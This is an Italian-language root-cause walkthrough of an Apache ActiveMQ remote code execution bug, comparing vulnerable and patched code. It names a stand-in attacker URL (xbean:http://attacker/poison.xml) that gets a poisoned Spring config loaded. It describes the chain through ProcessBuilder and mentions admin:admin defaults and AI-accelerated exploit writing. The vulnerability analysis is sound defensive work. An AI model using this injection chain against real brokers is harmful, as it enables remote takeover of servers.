
# Walkthrough didattico e proof-of-concept per CVE-2026-41044, una RCE su Apache ActiveMQ, con analisi della causa principale e script di rilevamento.
Nota: Solo a scopo didattico
CVE-2026-41044 è stata divulgata il 24 aprile 2026. È un bug di esecuzione remota di codice in Apache ActiveMQ Classic, scoperto da jsjcw, corretto nelle versioni 5.19.6 e 6.2.5. Non l'ho trovato io.
Quello che voglio mostrare è come qualcuno che non ha mai toccato ActiveMQ prima possa produrre un exploit funzionante di un N-day in un pomeriggio, perché il codice patchato è pubblico, il codice non patchato è pubblico, e il divario tra i due è a un git diff di distanza.
Il processo è semplice:
Quello che prima richiedeva giorni ora richiede un pomeriggio. L'IA non trova bug. Legge il codice e lo spiega velocemente quanto tu riesci a fare domande. La parte costosa sei ancora tu: decidere cosa è realmente sfruttabile, dove sono i veri confini di fiducia, cosa richiede verifica. Il modello semplicemente percorre i call graph più velocemente di qualsiasi essere umano.
Il punto più ampio: se il tuo flusso di lavoro di patching presuppone una settimana di tempo di analisi per CVE, sei sulla vecchia timeline. git diff ha la stessa lunghezza sia che tu stia scrivendo rilevamento o exploit.
ActiveMQ è un message broker. Si posiziona nel mezzo e passa messaggi tra applicazioni. Pensalo come un ufficio postale: le app depositano messaggi, ActiveMQ li consegna al destinatario giusto. È ampiamente distribuito negli stack Java enterprise ed espone una console web e un'API REST di gestione chiamata Jolokia su /api/jolokia/. Le credenziali predefinite in molte distribuzioni sono ancora admin:admin.
ActiveMQ permetteva a qualsiasi utente autenticato di caricare una configurazione del broker da un URL HTTP arbitrario, che Spring avrebbe analizzato ed eseguito immediatamente come oggetti Java - incluso ProcessBuilder - dando all'attaccante la piena esecuzione di comandi del sistema operativo sul server broker.
localhost./api/jolokia/ che espone le operazioni di gestione come API REST. Qualsiasi credenziale valida della console web vi accede - non solo admin.vm://: il transport in-process utilizzato quando un client vive nella stessa JVM del broker. Accetta un parametro di query ?brokerConfig= che punta a una configurazione Spring XML per avviare un broker.xbean:: uno schema URL che dice ad ActiveMQ di trattare l'URL come una configurazione Spring XML e caricarla.init-method: Spring legge l'XML e crea automaticamente oggetti Java (bean). L'attributo init-method dice a Spring di chiamare un metodo sul bean nel momento in cui viene creato - prima che qualsiasi altra cosa venga eseguita.ProcessBuilder: una classe Java standard che esegue comandi del sistema operativo. ProcessBuilder.start() esegue il comando.DestinationView.sendTextMessage() nella 5.19.2 costruisce un URL di connessione al broker concatenando direttamente il nome del broker in una stringa:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Se getBrokerName() restituisce localhost?brokerConfig=xbean:http://attacker/poison.xml, l'intera stringa diventa un URI vm:// valido con un parametro di query incorporato. ActiveMQConnectionFactory lo passa a VMTransportFactory, che estrae il parametro brokerConfig e lo usa come URL di configurazione di bootstrap del broker.
La correzione nella 5.19.6 è una riga:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String diventa URI - la concatenazione accidentale non è più possibile. Il valore proviene da un oggetto URI pre-costruito e immutabile derivato dal connettore VM effettivamente registrato del broker, non da una stringa di nome mutabile.
Perché il Livello 1 sia sfruttabile, il nome del broker deve essere prima avvelenato. BrokerService ha sempre sanificato i nomi del broker:
// BrokerService.setBrokerName() - presente in ENTRAMBE le versioni
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Questa regex rimuove ? e = in modo pulito. La CVE esisteva perché RegionBroker aveva il proprio setter separato che non lo faceva:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutabile
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // nessuna validazione
}
Questo è un classico confused deputy - due setter su classi correlate, solo uno dei quali sanifica. Un peer remoto che trasmette un pacchetto BrokerInfo contraffatto con un campo nome avvelenato raggiunge direttamente RegionBroker.setBrokerName(), bypassando completamente la regex di BrokerService.
La correzione nella 5.19.6 elimina il setter, rende il campo final e lo inizializza una volta dal genitore già sanificato:
// 5.19.6 - RegionBroker.java
private final String brokerName; // immutabile
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() è sparito. Non esiste più alcun setter.
}
Non puoi bypassare un sanificatore che non ha uno scrittore parallelo.
VMTransportFactory.doCompositeConnect() è la funzione che prende l'URI vm://...?brokerConfig=..., estrae il parametro brokerConfig e chiama BrokerFactory.createBroker(brokerURI). È il meccanismo di attivazione dell'intera catena.
Apache non ha cambiato assolutamente nulla qui.
Questa scelta ti dice qualcosa su come hanno pensato alla correzione. VMTransportFactory sta facendo un lavoro legittimo - i transport vm:// dovrebbero davvero accettare config di bootstrap. Patcharlo avrebbe rotto il design previsto. Invece, Apache ha corretto il bug alla fonte (Livello 2: nessun nome avvelenato può essere scritto) e al sink (Livello 5: anche se un URL avvelenato passasse, il resource resolver non lo recupererebbe).
Correggi i livelli dove appartiene la validazione, non il livello da cui l'attaccante è passato per caso.
// XBeanBrokerFactory - uguale in entrambe le versioni
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Livello 5
return new ResourceXmlApplicationContext(resource) { ... };
}